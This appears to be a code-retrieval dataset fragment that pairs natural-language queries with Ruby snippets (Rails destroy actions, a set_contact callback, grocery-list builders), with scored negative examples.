format.json { head :no_content }\n end\n end", "def destroy\n @planner = Planner.find(params[:id])\n @planner.destroy\n\n respond_to do |format|\n format.html { redirect_to planners_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @plannegocio = Plannegocio.find(params[:id])\n @plannegocio.destroy\n\n respond_to do |format|\n format.html { redirect_to plannegocios_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @flightplan.destroy\n respond_to do |format|\n format.html { redirect_to flightplans_url, notice: 'Flightplan was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def delete path\n make_request(path, \"delete\", {})\n end", "def destroy\n @plantype_strategy = PlantypeStrategy.find(params[:id])\n @plantype_strategy.destroy\n\n respond_to do |format|\n format.html { redirect_to plantype_strategies_url }\n format.json { head :no_content }\n end\n end", "def destroy\n workout_plan = @cardio_plan.workout_plans.first\n @cardio_plan.destroy\n\n respond_to do |format|\n format.html { redirect_to(workout_plan_exercise_plans_url(workout_plan)) }\n format.xml { head :ok }\n end\n end", "def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end", "def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end", "def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end", "def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end", "def test_del\n header 'Content-Type', 'application/json'\n\n data = File.read 'sample-traces/0.json'\n post('/traces', data, 'CONTENT_TYPE': 'application/json')\n\n id = last_response.body\n\n delete \"/traces/#{id}\"\n assert last_response.ok?\n\n get \"/traces/#{id}\"\n\n contents = JSON.parse last_response.body\n assert_kind_of(Hash, contents, 'Response contents is not a hash')\n assert contents.key? 'description'\n assert(!last_response.ok?)\n end", "def destroy\n @plant.destroy\n respond_to do |format|\n format.html { redirect_to plants_url, notice: 'Your Swap was successfully deleted.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @sivic_plano.destroy\n respond_to do |format|\n format.html { redirect_to sivic_planos_url }\n format.json { head :no_content }\n end\n end", "def delete(path)\n RestClient.delete request_base+path\n end", "def delete\n request(:delete)\n end", "def destroy\n @lesson_plan = current_user.lesson_plans.detect{params[:id]}\n @lesson_plan.destroy\n\n respond_to do |format|\n format.html { redirect_to root_path }\n format.json { head :no_content }\n end\n end", "def destroy\n @subway.destroy\n respond_to do |format|\n format.html { redirect_to subways_url }\n format.json { head :no_content }\n end\n end", "def destroy\r\n @work_plan = WorkPlan.find(params[:id])\r\n @work_plan.destroy\r\n\r\n respond_to do |format|\r\n format.html { redirect_to work_plans_url }\r\n format.json { head :no_content }\r\n end\r\n end", "def destroy\n @goal = Goal.find(params[:id])\n @goal.destroy\n render json: @goal\n end", "def destroy\n @vendor_test_plan = VendorTestPlan.find(params[:id])\n @vendor_test_plan.destroy\n\n respond_to do |format|\n format.html { redirect_to(vendor_test_plans_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @sales_plan.destroy\n respond_to do |format|\n format.html { redirect_to sales_plans_url, notice: 'Sales plan was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def delete\n render json: Company.delete(params[\"id\"])\n end", "def destroy\n @business_plan.destroy\n respond_to do |format|\n format.html { redirect_to business_plans_url, notice: 'Business plan was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @plan = Plan.find(params[:id])\n @plan.destroy\n expire_action :action => 'index'\n expire_action :action => 'show'\n expire_page action: 'show', id: params[:id]\n respond_to do |format|\n format.html { redirect_to plans_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @investigated.destroy\n respond_to do |format| \n format.json { head :no_content }\n end\n end", "def delete_demo(id)\n delete_record \"/demos/#{id}\"\n end", "def delete_data\n response = WebPay.client.delete([path, 'data'].join('/'))\n response['deleted']\n end", "def destroy\n @planificacion_requerimiento = PlanificacionRequerimiento.find(params[:id])\n planificacion = @planificacion_requerimiento.planificacion \n @planificacion_requerimiento.destroy\n\n respond_to do |format|\n format.html { redirect_to planificacion_path(planificacion) }\n format.json { head :ok }\n end\n end", "def destroy\n @v_goal = VGoal.find(params[:id])\n @v_goal.destroy\n\n respond_to do |format|\n format.html { redirect_to v_goals_url }\n format.json { head :no_content }\n end\n end", "def api_delete(path, data = {})\n api_request(:delete, path, :data => data)\n end", "def destroy\n @hot_water_demand = HotWaterDemand.find(params[:id])\n @hot_water_demand.destroy\n\n respond_to do |format|\n format.html { redirect_to hot_water_demands_url }\n format.json { head :no_content }\n end\n end", "def destroy\n if @goal.plans.exists?\n flash[:error] = \"Cannot delete goal because it has plans attached\"\n respond_to do |format|\n format.html { redirect_to :back }\n format.json { head :no_content }\n end\n else\n @goal.destroy\n respond_to do |format|\n format.html { redirect_to back_index_case_url, notice: 'Goal was successfully destroyed.' }\n format.json { head :no_content }\n end\n end\n\n end", "def destroy\n @panel_billing = Panel::Billing.find(params[:id])\n @panel_billing.destroy\n\n respond_to do |format|\n format.html { redirect_to(panel_billings_url) }\n format.json { head :ok }\n end\n end" ]
[ "0.723193", "0.723193", "0.7202914", "0.7196423", "0.719517", "0.7103689", "0.7103689", "0.7103689", "0.70369637", "0.69917995", "0.6977669", "0.69722354", "0.697045", "0.69504213", "0.69504213", "0.69504213", "0.69504213", "0.69504213", "0.69504213", "0.69504213", "0.69504213", "0.6946401", "0.6929608", "0.69258094", "0.68919367", "0.6871538", "0.6867761", "0.68625295", "0.68326455", "0.6812076", "0.678386", "0.67809415", "0.67745334", "0.67542183", "0.6742433", "0.6733878", "0.67337805", "0.6728339", "0.6724938", "0.67049634", "0.6701573", "0.66983783", "0.66913545", "0.66833586", "0.66760254", "0.6670953", "0.66693294", "0.6665687", "0.66499025", "0.6644618", "0.6627669", "0.6623996", "0.66214305", "0.6619665", "0.6619264", "0.6612076", "0.66062516", "0.659953", "0.65975577", "0.65965426", "0.6588076", "0.65879774", "0.6587069", "0.65850234", "0.6582834", "0.6563823", "0.65589833", "0.65563786", "0.65492845", "0.6544936", "0.6542613", "0.65404207", "0.6522615", "0.65185875", "0.65185875", "0.65185875", "0.65185875", "0.6518346", "0.6514829", "0.65126324", "0.65125424", "0.65049195", "0.6502575", "0.65018237", "0.6498662", "0.6494922", "0.6492613", "0.649159", "0.6491544", "0.6487245", "0.6485145", "0.6482738", "0.6479982", "0.64743763", "0.6464641", "0.6463829", "0.6456845", "0.6456584", "0.6445034", "0.64441055" ]
0.66822433
44
Use callbacks to share common setup or constraints between actions.
def set_contact @contact = Contact.find(params[:id]) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def set_required_actions\n # TODO: check what fields change to asign required fields\n end", "def action_hook; end", "def run_actions; end", "def define_action_hook; end", "def actions; end", "def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end", "def add_actions; end", "def callbacks; end", "def callbacks; end", "def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end", "def define_action_helpers; end", "def post_setup\n end", "def action_methods; end", "def action_methods; end", "def action_methods; end", "def before_setup; end", "def action_run\n end", "def execute(setup)\n @action.call(setup)\n end", "def define_action_helpers?; end", "def set_actions\n actions :all\n end", "def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end", "def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end", "def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end", "def before_actions(*logic)\n self.before_actions = logic\n end", "def setup_handler\n end", "def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end", "def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end", "def action; end", "def action; end", "def action; end", "def action; end", "def action; end", "def workflow\n end", "def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end", "def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end", "def before(action)\n invoke_callbacks *self.class.send(action).before\n end", "def process_action(...)\n send_action(...)\n end", "def before_dispatch(env); end", "def after_actions(*logic)\n self.after_actions = logic\n end", "def setup\n # override and do something appropriate\n end", "def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end", "def setup(_context)\n end", "def setup(resources) ; end", "def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end", "def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end", "def determine_valid_action\n\n end", "def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end", "def startcompany(action)\n @done = true\n action.setup\n end", "def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end", "def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end", "def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end", "def define_tasks\n define_weave_task\n connect_common_tasks\n end", "def setup(&block)\n define_method(:setup, &block)\n end", "def setup\n transition_to(:setup)\n end", "def setup\n transition_to(:setup)\n end", "def action\n end", "def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend", "def config(action, *args); end", "def setup\n @setup_proc.call(self) if @setup_proc\n end", "def before_action \n end", "def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end", "def action\n end", "def matt_custom_action_begin(label); end", "def setup\n # override this if needed\n end", "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end", "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end", "def after(action)\n invoke_callbacks *options_for(action).after\n end", "def pre_task\n end", "def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end", "def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end", "def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end", "def setup_signals; end", "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end", "def initialize(*args)\n super\n @action = :set\nend", "def after_set_callback; end", "def setup\n #implement in subclass;\n end", "def lookup_action; end", "def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end", "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end", "def release_actions; end", "def around_hooks; end", "def save_action; end", "def setup(easy)\n super\n easy.customrequest = @verb\n end", "def action_target()\n \n end", "def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end", "def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end", "def before_setup\n # do nothing by default\n end", "def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end", "def default_action; end", "def setup(&blk)\n @setup_block = blk\n end", "def callback_phase\n super\n end", "def advice\n end", "def _handle_action_missing(*args); end", "def duas1(action)\n action.call\n action.call\nend", "def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end", "def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end", "def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend" ]
[ "0.6163163", "0.6045976", "0.5946146", "0.591683", "0.5890051", "0.58349305", "0.5776858", "0.5703237", "0.5703237", "0.5652805", "0.5621621", "0.54210985", "0.5411113", "0.5411113", "0.5411113", "0.5391541", "0.53794575", "0.5357573", "0.53402257", "0.53394014", "0.53321576", "0.53124547", "0.529654", "0.5296262", "0.52952296", "0.52600986", "0.52442724", "0.52385926", "0.52385926", "0.52385926", "0.52385926", "0.52385926", "0.5232394", "0.523231", "0.5227454", "0.52226824", "0.52201617", "0.5212327", "0.52079266", "0.52050185", "0.51754695", "0.51726824", "0.51710224", "0.5166172", "0.5159343", "0.51578903", "0.51522785", "0.5152022", "0.51518047", "0.51456624", "0.51398855", "0.5133759", "0.5112076", "0.5111866", "0.5111866", "0.5110294", "0.5106169", "0.509231", "0.50873137", "0.5081088", "0.508059", "0.50677156", "0.50562143", "0.5050554", "0.50474834", "0.50474834", "0.5036181", "0.5026331", "0.5022976", "0.5015441", "0.50121695", "0.5000944", "0.5000019", "0.4996878", "0.4989888", "0.4989888", "0.49864885", "0.49797225", "0.49785787", "0.4976161", "0.49683493", "0.4965126", "0.4958034", "0.49559742", "0.4954353", "0.49535993", "0.4952725", "0.49467874", "0.49423352", "0.49325448", "0.49282882", "0.49269363", "0.49269104", "0.49252945", "0.4923091", "0.49194667", "0.49174926", "0.49173003", "0.49171105", "0.4915879", "0.49155936" ]
0.0
-1
Andreas Landgrebe Method to create a list input: string of items separated by spaces (example: "carrots apples cereal pizza") steps: [fill in any steps here] list[array] = string.split set default quantity = 1 print the list to the console [can you use one of your other methods here?] output: [what data type goes here, array or hash?] convert your item string into an array of strings for each element in the array of strings, => create a list_item so that quantity is 1 and the item is the element => push the list_item into the $list array
def new_list(item_String, quantity = 1) $list = [] array_strings = item_String.split array_strings.each do |element| list_item = { quantity: quantity, item: element } $list.push(list_item) end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def createlist(str)\r\n# steps:\r\n# break the string into an array\r\n items = str.split\r\n item_list = {}\r\n\r\n\t# iterate through array and build hash\r\n items.each do |item|\r\n\r\n\t\t# iterate through array and build hash\r\n\t\t# set default quantity to 1\r\n \titem_list[item] = 1\r\n end\r\n # print the list to the console [the last method that print a list and make it look pretty]\r\n print_list(item_list)\r\n\r\n # output: the hash\r\n return item_list\r\nend", "def create_list(user_list)\n# input: string of items separated by spaces (example: \"carrots apples cereal pizza\")\n# puts \"\"\n# steps:\n # [fill in any steps here]\n list_array = user_list.split(\",\")\n # set default quantity\n quanity = 1\n # print the list to the console [can you use one of your other methods here?]\n p list_array.collect { |item| [item, quanity] }\n $list_hash = Hash[list_array.collect { |item| [item, quanity] } ]\n# output: [what data type goes here, array or hash?] Print result in hash\n p $list_hash\n $list_hash\nend", "def create_list(list_name,list_of_items)\n # create empty array\n list_name = []\n # for each item in string, use add item method to add item to grocery list (set default quantity to 1)\n shopping_items = list_of_items.split(' ')\n shopping_items.each do |thing_to_add|\n add_item_to_list(list_name,thing_to_add,1)\n end\n # print the list to the console\n print_list(list_name)\nend", "def create_list_items(input_string)\n \n hsh = {}\n \n # create an array containing each item \n array_input = input_string.split(' ')\n \n # create a hash from the array (iterate), containing the information of key/value pairs \n array_input.each do |item|\n # set default quantity as value\n hsh[item] = 0\n end \n \n # print the list to the console (we will use the last method)\n print_list(hsh)\n \n # output: hash data structure of key/value pairs\n return hsh\nend", "def create_list(str, default_quantity=1)\n list = {}\n item_array = str.split\n item_array.each do |item|\n list[item] = default_quantity\n end\n print_list(list)\n return list\nend", "def create_list(items_string, quantity = 0)\n list = {}\n items = items_string.split(\" \")\n items.each do |item|\n list[item] = quantity\n end\n list\nend", "def create_list_of(string_of_items)\n\tary_of_items = string_of_items.split(' ')\n\titem_list = {}\n\tary_of_items.each {|x| item_list[x] = 1}\n\tprint_list(item_list)\nend", "def create_list(items)\n\titem_list = {}\n\titem_array = items.split(\" \")\n\tdefault_quantity = 1\n\titem_array.each do |item|\n\t\titem_list[item] = default_quantity\n\tend\n\tpretty_list(item_list) \nend", "def create_list(item, quantity = 1)\n\tlist = {}\n\tsplit_item = item.split(\" \")\n\tsplit_item.each do |item_name|\n\t\tlist[item_name] = quantity\n\tend\n\treturn list\nend", "def create_list(string)\n puts \"What is the default item quantity?\"\n default_quantity = gets.chomp.to_s\n list_array = string.split(' ')\n list_hash = {}\n list_array.each do |item|\n list_hash[item] = default_quantity\n end\n\n print_list(list_hash)\n\n list_hash\nend", "def make_list (item_list)\n #convert user input to array\n item_list = item_list.split(' ')\n return item_list\nend", "def create_list(items_str)\r\n items_hash={}\r\n items_array=items_str.split(\" \")\r\n items_array.each do |it|\r\n items_hash[it]=1\r\n end\r\n print_list(items_hash)\r\nend", "def create_list(input_string)\n grocery_list = {}\n items = input_string.split(' ')\n items.each do |item|\n add_item_to_list(grocery_list, item, 1)\n end\n\n print_list(grocery_list)\n\n add_item_to_list(grocery_list, \"milk\", 1)\n update_item_from_list(grocery_list, \"Lemonade\", 2)\n update_item_from_list(grocery_list, \"Tomatoes\", 3)\n update_item_from_list(grocery_list, \"Onions\", 10)\n update_item_from_list(grocery_list, \"iceCream\", 20)\n\n print_list(grocery_list)\n\n remove_item_from_list(grocery_list, \"IceCream\")\n\n print_list(grocery_list)\n\nend", "def initial_list(string_of_items)\n grocery_list = {}\n quantity = 1\n items_array = string_of_items.split(\" \")\n items_array.each do |item|\n grocery_list.store(item, quantity)\n end\n grocery_list\nend", "def create_list(string_of_items)\n hash_of_items = {}\n array_of_items = string_of_items.split(\" \")\n \n array_of_items.each do |item|\n hash_of_items[item] = 1\n end\n hash_of_items\nend", "def create_list(string_of_items)\n string_ary = string_of_items.split(\" \")\n string_hash = {}\n string_ary.each { |item| string_hash[item] = 1 }\n print_grocery_list(string_hash)\n return string_hash\nend", "def create_list(string)\n item_array = string.split(\" \")\n shopping_list = {}\n item_array.each do |item|\n shopping_list[item] = 1\n end\n list_print(shopping_list)\n shopping_list\nend", "def create_list(string)\n list = string.split(' ')\n qty = 1\n grocery_list = {}\n list.each { |item| grocery_list[item] = qty }\n grocery_list\nend", "def create_list(title, list_arr)\n # grocery_list will be a string from user\n # assign an empty hash (will eventually be the list)\n final_list = {}\n # use split method to get list items\n list_arr = list_arr.split\n # Iterate through the elements of the array and insert to hash\n # set default quantity\n list_arr.each { |item| final_list[item]=1}\n # print the list to the console [can you use one of your other methods here?]\n puts print_list(title,final_list)\n final_list\nend", "def create_list(input)\n grocery_list = {}\n # convert items in string to hash keys:\n input_array = input.split\n # convert string into array using\n # iterate through array assign each string item to a hash key with default value of x\n # set default quantity\n # iteration loop\n # grocery_list[\"key_name1\"] => 3\n input_array.each do |i|\n grocery_list[i] = 3\n end\n # print the list to the console [can you use one of your other methods here?]\n # call the method for printing a list *below*\n # output: [what data type goes here, array or hash?]\n # make output return hash\n # grocery_list, call the hash so that the last evaluated item is the hash.. and then that is returned\n grocery_list\nend", "def make_list (list, quantity = $default_quantity)\r\n list_arr = list.split\r\n list_arr.each do |list_item|\r\n $grocery_list[list_item] = quantity\r\n end\r\nend", "def create_list(string_of_items)\n grocery_list = {}\n grocery_items = string_of_items.split\n grocery_items.each do |item, quantity|\n grocery_list[item] = 1\n end \n return grocery_list\nend", "def create_list(items)\n list = {}\n arr = items.split(' ')#split string into indivdual strings\n arr.each do |item| list[item] = 1 end #iterate over arr in order to pass each string into the list\n \tlist \nend", "def create_a_list(string_of_items)\n qty = 1\n grocery_hash = Hash.new\n string_of_items.split(\" \").each do |x|\n grocery_hash[x] = qty\n end\n grocery_hash\nend", "def create_list(items_string)\r\n\tdefault_quantity = 1\r\n\r\n\tgrocery_list = Hash.new{|hash, key| hash[key] = default_quantity}\r\n\titems_array = items_string.split(\" \")\r\n\t\r\n\titems_array.each do |item| \r\n\t\tgrocery_list[item.to_sym]\r\n\tend\r\n\tprint_list(grocery_list)\r\n\tgrocery_list\r\nend", "def create_list(items_string)\n list = {}\n items_array = items_string.split(\",\")\n\n items_array.each do |item|\n list[item] = 1\n end\n print_pretty_list(list)\nend", "def create_list(input_string)\n input_arr = input_string.split(\" \")\n new_shopping_list = Hash.new\n new_shopping_list = Hash[input_arr.collect{|item, | [item, 1]}]\nend", "def create_list(str)\n list = {}\n qty_default = 1\n arr = str.split(\" \")\n arr.each {|item| list[item] = qty_default}\n return list\nend", "def create_grocery_list(list, item_list)\n items = item_list.split\n items.each do |item|\n list.store(item, 1)\n end\n return list\n print_list(grocery_list)\nend", "def shopping_list(string)\n\tgrocery_list = {}\n# steps: \n \t# separate string into array\n\tarray = string.split(' ')\n\t# loop through array to create hash with items in array as key and set default quantity to \"\"\n\tarray.map {|item| grocery_list[item] = \"\"}\n\t# print the list to the console [can you use one of your other methods here?]\n\t# output: [what data type goes here, array or hash?]\n\tputs grocery_list\n\treturn grocery_list\nend", "def create_list(list_str)\nfinal_list = {}\narr = list_str.split(\" \")\n arr.each do |key|\n final_list[key] = 1\n# One refers to the default quantity. \n end \n final_list\nend", "def create_list(list)\n quantity = 1\n items = list.split(' ')\n grocery_list = { }\n\n items.each do |item|\n grocery_list[item] = quantity\n end\n grocery_list\nend", "def create_list(list, string_of_items)\r\n\tlist = {}\r\n\titem_array = string_of_items.split(\" \")\r\n\titem_array.each do |item|\r\n\t\titem_key = item.to_sym\r\n\t\tlist[item_key] = 1\r\n\tend\r\n\treturn list\r\nend", "def list_creation(items_string)\r\n\tshopping_list = {}\r\n\tintit_list = items_string.split(' ')\r\n\tintit_list.each do|item|\r\n\t\tshopping_list[item] = 1\r\n\tend\r\n\tshopping_list\r\nend", "def create_list(string)\n\tgrocery_hash = {}\n\tthe_list = string.split\n\tthe_list.each do |item|\n\t\tgrocery_hash[item] = 1\n\tend\n\tprint_list(grocery_hash)\nend", "def create_list(string_of_items, default_quantity)\n grocery_array = string_of_items.split(' ')\n grocery_hash = {}\n grocery_array.each { |item| grocery_hash[item] = default_quantity }\n grocery_hash\nend", "def create_list(items)\n list = {}\n item_array = items.split(\" \")\n item_array.each do |item|\n list[item] = 1\n end\n print_list(list)\nend", "def create_list(items)\n\tlist = {}\n\titems = items.split(' ')\n\tquantity = 0\n\tlist = Hash.new\n\n\titems.each do |item| \n\t\tlist[item] = quantity\n\tend\n\tlist\nend", "def create_list(items)\n\tnew_list = {}\n\titem_arr = items.split\n\titem_arr.each do |item|\n\t\tadd_item(new_list, item)\n\tend\n\tprint_list(new_list)\n\t\nend", "def create_list(string)\n\t groceries = string.split(\" \")\n\t list_items = Hash.new\n\t groceries.each do |items|\n\t \tlist_items[items] = 1\n\t end\n list_items\nend", "def create_list(string, value=1)\n string.split(\" \").each do |item|\n $grocery_list[item] = value\n end\n # puts \"Initial list created:\"\n $grocery_list\nend", "def create_list(string)\r\n\tshopping_list = {}\r\n\tshopping_array = string.split(' ')\r\n\tshopping_array.each do |item|\r\n\t\tshopping_list[item] = 1\r\n\tend\r\n\tshopping_list\r\nend", "def createlist(items)\n new_items = items.split(\" \")\n list = Hash.new\n new_items.each {|item| list[item] = 1}\n prettylist(list)\n # use print_list method\nend", "def grocery_list(grocery_items)\n # input: string of items separated by spaces (example: \"carrots apples cereal pizza\") \n # steps: \n # Create a new empty data structure (Hash) \n grocery = {}\n # Convert the string parameter into an array of words.\n item = grocery_items.split(\" \")\n # Iterate through the array and get the element.\n item.each do |product|\n # Store the element as a key in the hash.\n # set default quantity an integer with value 3. This is the default value of the keys in the hash.\n grocery[product] = 3\n display_list(grocery)\n end\n # print the list to the console [can you use one of your other methods here?]\n # output: Hash \n grocery\nend", "def create_list(list_str)\n food_list = {}\n list_array=list_str.split(\" \")\n default_qty = 1\n list_array.each do |food|\n food_list[food.to_sym] = default_qty\n end\n food_list\nend", "def initialize_list(desired_start_items)\n\n arr = desired_start_items.split(' ')\n\n # The each loop will run once for every element in the array.\n arr.each do |item_name|\n add_item(item_name) # this will be updating $list_items\n end\n\n display_list\nend", "def create_list(items)\n grocery_list = {}\n item_array = items.split(\" \")\n item_array.each do |item|\n grocery_list[item] = 1\n end\n print_list(grocery_list)\n grocery_list\nend", "def generate_list(string_of_items)\n grocery_list={}\n default_value=1\n items=string_of_items.split(' ')\n items.each do |item|\n #Transfer items into hash\n grocery_list[item]=default_value\n end\n return grocery_list\n print(grocery_list)\nend", "def create_list(string)\r\n\tgrocery_hash = {}\r\n\tthe_list = string.split\r\n\tthe_list.each do |item|\r\n\t\tgrocery_hash[item] = 1\r\n\tend\r\n\tprint_list(grocery_hash)\r\nend", "def create_list(str)\n\tlist = str.split(' ')\n\tgrocery_list = {}\n\tlist.each do |item|\n\t\tgrocery_list[item] = 1\n\tend\n\tprint_list(grocery_list)\n\treturn grocery_list\nend", "def create_list(string)\n\tlist = {}\n\titems_list = string.split(\" \")\n\titems_list.each do |items|\n\t\tlist[items.to_sym] = 1\n\tend\n\tlist\nend", "def create_list(list_string)\r\n\tlist = {}\r\n\tlist_array = list_string.split(' ')\r\n\tlist_array.each { |item| list[item] = 1 }\r\n\treturn list\r\n#\tp pretty_list(list)\r\nend", "def create_list(items_string)\r\n\titems_array = items_string.split(' ')\r\n\titems_hash = Hash.new\r\n\titems_array.each do |item|\r\n\t\titems_hash[item] = 1\r\n\tend\r\n\treturn items_hash\r\nend", "def list_of_items(userinput)\n itemlist = []\n final_list = {}\n itemlist = userinput.split(' ')\n p itemlist\n quantity = 1\n itemlist.each do |value|\n final_list[value] = 1\n end\n puts final_list\n final_list\nend", "def create_list(items, qty=1)\n items = items.split(\" \")\n list = Hash.new\n\n items.each do |item|\n if list.has_key?(item)\n list[item] += qty\n elsif\n list[item] = qty\n end\n end\n\n return list.each {|k,v| puts \"#{k}: #{v}\"}\nend", "def create_a_list(list)\n shopping_list = {}\n split_list = list.split(\" \")\n split_list.each do |item, value|\n shopping_list[item] = 1\n end\n shopping_list\nend", "def make_list(list, string_of_items)\n string_of_items.split(\" \").each do |item|\n list[item].nil? ? list[item] = 1 : list[item] += 1\n end\n list\nend", "def new_list(items)\r\n list = {}\r\n split_items = items.split(' ')\r\n split_items.each { |item|\r\n list[item] = 1\r\n }\r\n print_list(list)\r\n list\r\nend", "def create_list(items)\n list = {}\n items = items.split(' ')\n items.each do |item|\n list[item] = 1\n end\n print_list(list)\nend", "def make_list(item_list)\r\n item_list = 